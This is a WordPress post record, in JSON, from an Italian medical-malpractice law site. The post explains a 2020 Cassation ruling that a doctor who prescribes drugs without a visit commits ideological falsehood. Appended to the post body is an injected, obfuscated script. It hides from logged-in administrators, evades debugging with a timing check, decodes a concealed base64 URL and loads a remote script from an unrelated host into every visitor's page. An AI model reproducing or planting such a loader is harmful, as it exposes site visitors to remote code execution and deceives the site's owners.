{"id":28261,"date":"2023-03-28T11:48:09","date_gmt":"2023-03-28T11:48:09","guid":{"rendered":"https:\/\/www.dimariamalasanita.it\/?p=28261"},"modified":"2026-04-15T05:17:12","modified_gmt":"2026-04-15T05:17:12","slug":"medico-condannato-per-falso-ideologico-aveva-prescritto-farmaci-senza-visita","status":"publish","type":"post","link":"https:\/\/www.dimariamalasanita.it\/?p=28261","title":{"rendered":"Medico condannato per falso ideologico: aveva prescritto farmaci senza visita"},"content":{"rendered":"<p>Medico condannato per falso ideologico: aveva prescritto farmaci senza visita<\/p>\n<p>La Corte di Cassazione con la sentenza n. 28847 del 2020, si \u00e8 pronunciata su un caso di responsabilit\u00e0 medica nei confronti del professionista per aver prescritto dei farmaci, tramite ricetta bianca, pur in assenza di una visita medica del paziente.<br \/>In simili ipotesi, secondo la Corte di Cassazione, il medico commette un reato e, in particolare, quello di falso ideologico.<\/p>\n<p><strong>Per falso ideologico s\u2019intende ai sensi dell\u2019art. 481 c.p.: \u201dChiunque, nell\u2019esercizio di una professione sanitaria o forense, o di un altro servizio di pubblica necessit\u00e0, attesta falsamente, in un certificato, fatti dei quali l\u2019atto \u00e8 destinato a provare la verit\u00e0, \u00e8 punito con la reclusione fino a un anno o con la multa da \u20ac 51 a \u20ac 516. Tali pene si applicano congiuntamente se il fatto \u00e8 commesso a scopo di lucro\u201d.<\/strong><br \/>Cerchiamo di capire perch\u00e9 il professionista risponda del reato all\u2019art. 481 c.p.<br \/>Si configura detta fattispecie di reato in capo al medico poich\u00e9 la prescrizione farmacologica, viene considerata come atto certificativo e autorizzatorio, ed implica che il sanitario redigente sia a conoscenza della condizione clinica del paziente e che accerti la presenza dei presupposti per la prescrizione del medicinale.<br \/>Dunque, ne deriva che la ricetta c.d. bianca ha una doppia natura: da un lato, rappresenta un atto certificativo perch\u00e9 colui che la prescrive deve essere a conoscenza della sofferenza del malato per la quale \u00e8 stata adottata una certa terapia farmacologica;<br \/>dall\u2019altro, costituisce un atto autorizzativo grazie al quale l\u2019assistito ha il diritto ad ottenere il medicinale indicato nella prescrizione.<br \/><strong>La Corte di Cassazione, inoltre, ha ribadito che non sussiste differenza tra ricetta rossa o bianca perch\u00e9 in entrambi i casi il medico pu\u00f2 incorrere nel reato di falso ideologico poich\u00e9 sia nell\u2019uno che nell\u2019altro caso il soggetto deve aver realmente bisogno della prescrizione farmacologica.<\/strong><br \/>La differenza tra la prima e la seconda riguarda il soggetto sul quale \u00e8 pendente l\u2019erogazione del farmaco o della prestazione perch\u00e9 nel primo caso \u00e8 a carico del servizio sanitario regionale, mentre nel secondo caso \u00e8 a carico del cittadino.<br \/>Dunque, il punto centrale della questione \u00e8 che la prescrizione medica prevede un\u2019attivit\u00e0 di accertamento da parte del professionista, che non pu\u00f2 essere basata su notizie riportate senza aver visitato il paziente.<br \/>L\u2019attivit\u00e0 di accertamento dietro la prescrizione medica porta quindi alla conclusione che non ha importanza se la ricetta \u00e8 a carico del servizio sanitario regionale (ricetta rossa) o se \u00e8 a carico del cittadino (ricetta bianca), perch\u00e9 in entrambi i casi il medico pu\u00f2 incorrere nel reato di falso ideologico.<\/p>\n<p>&nbsp;<\/p>\n<p>Dott. Luigi Pin\u00f2<\/p>\n<hr \/>\n<ul>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/flash-news\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione flash news<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/blog\/\" target=\"_blank\" rel=\"noopener\">Leggi altri articoli dalla sezione blog<\/a><\/li>\n<li><a href=\"https:\/\/www.dimariamalasanita.it\/contatti\/\" target=\"_blank\" rel=\"noopener\">Contattaci per avere pi\u00f9 info<\/a><\/li>\n<\/ul>\n\n<p>&nbsp;<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Medico condannato per falso ideologico: aveva prescritto farmaci senza visita La Corte di Cassazione con la sentenza n. 28847 del 2020, si \u00e8 pronunciata su un caso di responsabilit\u00e0 medica nei confronti del professionista per aver prescritto dei farmaci, tramite ricetta bianca, pur in assenza di una visita medica del paziente.In simili ipotesi, secondo la [&hellip;]<\/p>\n","protected":false},"author":133,"featured_media":28243,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[231,1],"tags":[],"class_list":["post-28261","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-flash_news","category-malasanita"],"_links":{"self":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28261","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/users\/133"}],"replies":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=28261"}],"version-history":[{"count":4,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28261\/revisions"}],"predecessor-version":[{"id":28497,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/posts\/28261\/revisions\/28497"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=\/wp\/v2\/media\/28243"}],"wp:attachment":[{"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=28261"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=28261"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.dimariamalasanita.it\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=28261"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}